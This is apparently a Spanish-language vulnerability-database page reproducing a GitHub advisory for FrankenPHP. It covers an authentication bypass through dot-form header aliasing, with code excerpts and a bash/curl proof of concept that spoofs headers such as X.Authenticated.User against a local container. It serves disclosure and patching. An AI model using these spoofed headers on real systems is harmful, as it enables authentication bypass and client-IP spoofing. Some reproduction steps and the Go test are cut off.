llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/dunglas/frankenphp

GHSA-QCRP-8483-F2F2

Omisión de autenticación mediante suplantación por alias de nombres de cabecera en forma de punto en FrankenPHP

Parche disponible
Descargar PNG JSON
CVSS 4.0
8.3
Alta
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición47 dDesde la divulgación, 4 oct 2026, 9:04 a. m.
Detección46 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Hoy es tranquila, pero podría madrugarte.Más vale un parche a tiempo que un incidente de madrugada.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.13.0
Monitoreo
Detectada +1
4 oct 26
19 nov 26
21 nov 26
4 oct 26
16 oct 26
28 oct 26
9 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-QCRP-8483-F2F2 divulgada · CVSS 8.3 (GitHub)
Remediación Parche v1.13.0 github.com/dunglas/frankenphp · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Descripción

> [!NOTE]
> FrankenPHP 1.12.4 mitigó la forma con guion bajo de este problema al incluir
> Caddy 2.11.4, que descarta los campos de cabecera HTTP cuyo nombre contiene un guion bajo.
> La forma con punto descrita aquí no está cubierta por esa corrección y sigue
> siendo explotable en 1.12.7 (tanto en el modo servidor con Caddy como en la biblioteca Go
> independiente o en modo embebido, donde Caddy no está presente).

---

Resumen

El mapeo de solicitud a superglobal de FrankenPHP en `cgi.go` (`addHeadersToServer`)
traduce los nombres de cabecera HTTP a claves de `$_SERVER['HTTP_*']`. Al construir esas
claves, solo reescribe `-` como `_` (mediante `internal/phpheaders.GetUnCommonHeader`).
Luego, `php_register_variable_ex()` de PHP reescribe además `.` como `_` al registrar
la variable.

Como resultado, tres formas distintas en el cable convergen en una única clave de `$_SERVER`:

| Cabecera en el cable | Nombre canónico en Go | Resultado de `GetUnCommonHeader` | Tras `.`→`_` en PHP | Clave final de `$_SERVER` |
|------------------------|-----------------------|----------------------------------|---------------------|---------------------------|
| `X-Forwarded-For` | `X-Forwarded-For` | `HTTP_X_FORWARDED_FOR` | (sin cambios) | `HTTP_X_FORWARDED_FOR` |
| `X_forwarded_for` | `X_forwarded_for` | `HTTP_X_FORWARDED_FOR` | (sin cambios) | `HTTP_X_FORWARDED_FOR` |
| `X.Forwarded.For` | `X.forwarded.for` | `HTTP_X.FORWARDED.FOR` | `HTTP_X_FORWARDED_FOR` | `HTTP_X_FORWARDED_FOR` |

Caddy 2.11.4 incluido descarta la forma con guion bajo, pero no la forma con punto.
Por lo tanto, un cliente remoto no autenticado puede enviar `X.Forwarded.For`, `X.Authenticated.User`,
`X.Api.Key`, etc., y hacer que terminen en `$_SERVER['HTTP_X_FORWARDED_FOR']`,
`$_SERVER['HTTP_X_AUTHENTICATED_USER']`, etc., sin diferencias a nivel de bytes respecto de la
cabecera legítima con guion en la que confían la aplicación o un proxy intermedio.

Esta es la misma clase de problema que Traefik CVE-2026-88879 ("suplantación de identidad en
ForwardAuth mediante alias de cabecera con punto").

---

Ubicación afectada

  • Archivo: `cgi.go`
  • Función: `addHeadersToServer`
  • Archivo: `internal/phpheaders/phpheaders.go`
  • Función: `GetUnCommonHeader`

---

Detalles técnicos

`addHeadersToServer` pasa el nombre canónico de la cabecera por `GetUnCommonHeader`,
que solo mapea `-` a `_`:

// cgi.go (resumido): mapeo de cabecera de solicitud → $_SERVER
func addHeadersToServer(ctx context.Context, request *http.Request, trackVarsArray *C.zval) {
	for field, val := range request.Header {
		if k := commonHeaders[field]; k != nil {
			v := strings.Join(val, ", ")
			C.frankenphp_register_known_variable(k, toUnsafeChar(v), C.size_t(len(v)), trackVarsArray)
			continue
		}

		k := phpheaders.GetUnCommonHeader(ctx, field)
		v := strings.Join(val, ", ")
		C.frankenphp_register_variable_safe(toUnsafeChar(k), toUnsafeChar(v), C.size_t(len(v)), trackVarsArray)
	}
}
// internal/phpheaders/phpheaders.go (resumido): solo se reescribe '-'
var headerNameReplacer = strings.NewReplacer("-", "_")

loader = otter.LoaderFunc[string, string](func(_ context.Context, key string) (string, error) {
	return "HTTP_" + headerNameReplacer.Replace(strings.ToUpper(key)) + "\x00", nil
})

func GetUnCommonHeader(ctx context.Context, key string) string {
	phpHeaderKey, err := headerKeyCache.Get(ctx, key, loader)
	if err != nil {
		panic(err)
	}
	return phpHeaderKey
}

PHP aplica el segundo paso de reescritura cuando registra el valor. Desde
`main/php_variables.c` de php-src (`php_register_variable_ex`, PHP 8.3):

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p = '_';
    } else if (*p == '[') {
        /* ... array notation handling ... */
    }
}

Por lo tanto, `X.forwarded.for` llega a PHP como la clave `HTTP_X.FORWARDED.FOR`, y PHP
convierte los puntos en `HTTP_X_FORWARDED_FOR`, colisionando con la forma con guion.

La decisión de seguridad relevante (Caddy 2.11.4 descarta cabeceras con guion bajo) y la
interpretación de los datos (PHP unifica `.`/`-`/`_` como `_`) no coinciden en qué
considera "la misma cabecera". Ese es el conflicto de interpretación (CWE-436) que
permite la suplantación.

El problema es reproducible para cualquier cabecera en la que confían la aplicación o un
proxy intermedio y cuyo nombre canónico contiene un `-` (por ejemplo, `X-Forwarded-For`,
`X-Forwarded-Proto`, `X-Authenticated-User`, `X-Api-Key`, `X-Request-Id`).

---

Escenario de ataque y pasos de reproducción

Requisitos previos:
- La aplicación PHP (o un proxy intermedio) confía en una cabecera de solicitud con guion,
como `X-Forwarded-For` o `X-Authenticated-User`, leída desde `$_SERVER`.
- El atacante no necesita una cuenta ni privilegios especiales.

Pasos:

  1. Desplegar una aplicación FrankenPHP que lee `$_SERVER['HTTP_X_AUTHENTICATED_USER']`
  2. El proxy de confianza escribe el valor real de `X-Authenticated-User` y elimina la forma
  3. El atacante envía en cambio la forma con punto:
  4. Caddy deja pasar la cabecera con punto (solo filtra guiones bajos), FrankenPHP la mapea

---

Impacto

Un cliente remoto no autenticado puede suplantar cualquier cabecera con guion de confianza
expuesta a PHP mediante `$_SERVER`. Los impactos concretos incluyen:

  • Omisión de autenticación o de autorización: suplantar `X-Authenticated-User`,
  • Suplantación de IP del cliente: suplantar `X-Forwarded-For` o `X-Real-Ip`, lo que
  • Suplantación de esquema: suplantar `X-Forwarded-Proto`, lo que provoca una degradación

El atacante no necesita conocer la configuración exacta del proxy; solo necesita una cabecera
que la aplicación consuma.

---

Prueba de concepto

1. PoC de extremo a extremo (Docker, imagen oficial)

Guardar como `poc.sh` y ejecutar `bash poc.sh` (requiere Docker y acceso a la red).

#!/usr/bin/env bash
set -euo pipefail

# PoC de suplantación de cabeceras HTTP en forma de punto en FrankenPHP
# Afectado: FrankenPHP <= 1.12.7 (Caddy 2.11.4 incluido filtra '_' pero no '.')

APP_DIR="$(mktemp -d)"
CONTAINER="fp-poc"
cleanup() { docker rm -f "$CONTAINER" >/dev/null 2>&1 || true; rm -rf "$APP_DIR"; }
trap cleanup EXIT

# --- 1. Aplicación PHP objetivo mínima ---------------------------------------
cat > "$APP_DIR/index.php" <<'PHP'
<?php
header('Content-Type: text/plain');
foreach ([
    'HTTP_X_FORWARDED_FOR',
    'HTTP_X_FORWARDED_PROTO',
    'HTTP_X_AUTHENTICATED_USER',
    'HTTP_X_API_KEY',
] as $k) {
    echo $k . '=' . var_export($_SERVER[$k] ?? null, true) . "\n";
}
PHP

# --- 2. Iniciar la imagen oficial de FrankenPHP (última versión) -------------
docker run -d --name "$CONTAINER" -p 18443:443 \
    -v "$APP_DIR:/app/public" dunglas/frankenphp:latest >/dev/null
sleep 5

BASE="https://localhost:18443"

echo "=== [1] cabecera legítima en forma con guion (funciona como se espera) ==="
curl -4 -sk --max-time 15 -H "X-Forwarded-For: 9.9.9.9" "$BASE/" | grep 'HTTP_X_FORWARDED_FOR'

echo "=== [2] alias con guion bajo (bloqueado por Caddy 2.11.4) ==="
curl -4 -sk --max-time 15 -H "X_forwarded_for: 1.2.3.4" "$BASE/" | grep 'HTTP_X_FORWARDED_FOR'

echo "=== [3] alias en forma con punto (NO bloqueado => SUPLANTADO) ==="
curl -4 -sk --max-time 15 -H "X.Forwarded.For: 5.6.7.8" "$BASE/" | grep 'HTTP_X_FORWARDED_FOR'

echo "=== [4] suplantación de cabecera de autenticación (clase Traefik CVE-2026-88879) ==="
curl -4 -sk --max-time 15 -H "X.Authenticated.User: admin" "$BASE/" | grep 'HTTP_X_AUTHENTICATED_USER'

echo "=== [5] suplantación de cabecera de API key ==="
curl -4 -sk --max-time 15 -H "X.Api.Key: secret123" "$BASE/" | grep 'HTTP_X_API_KEY'

Salida esperada:

=== [1] cabecera legítima en forma con guion (funciona como se espera) ===
HTTP_X_FORWARDED_FOR='9.9.9.9'
=== [2] alias con guion bajo (bloqueado por Caddy 2.11.4) ===
HTTP_X_FORWARDED_FOR=NULL
=== [3] alias en forma con punto (NO bloqueado => SUPLANTADO) ===
HTTP_X_FORWARDED_FOR='5.6.7.8'
=== [4] suplantación de cabecera de autenticación (clase Traefik CVE-2026-88879) ===
HTTP_X_AUTHENTICATED_USER='admin'
=== [5] suplantación de cabecera de API key ===
HTTP_X_API_KEY='secret123'

El caso `[3]` es la vulnerabilidad: `X.Forwarded.For` puebla
`HTTP_X_FORWARDED_FOR` exactamente igual que la cabecera legítima `X-Forwarded-For`, mientras
que la forma con guion bajo `[2]` se descarta (correctamente), lo que demuestra que la
corrección existente solo cubre el guion bajo.

2. PoC a nivel de código (prueba en Go contra el mapeo real)

La siguiente prueba invoca el código real de `internal/phpheaders` y reproduce
la conversión de `.`→`_` de PHP, verificando la colisión.

```go
package phpheaders

import (
"s

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:L
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/dunglas/frankenphp≤ 1.12.7
1.12.7
v1.13.6
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/dunglas/frankenphp
Corregida v1.13.0 0 d v1.13.6 no afectada
Versiones corregidasv1.13.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/php/frankenphp/security/advisories/GHSA-qcrp-8483-f2f2

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.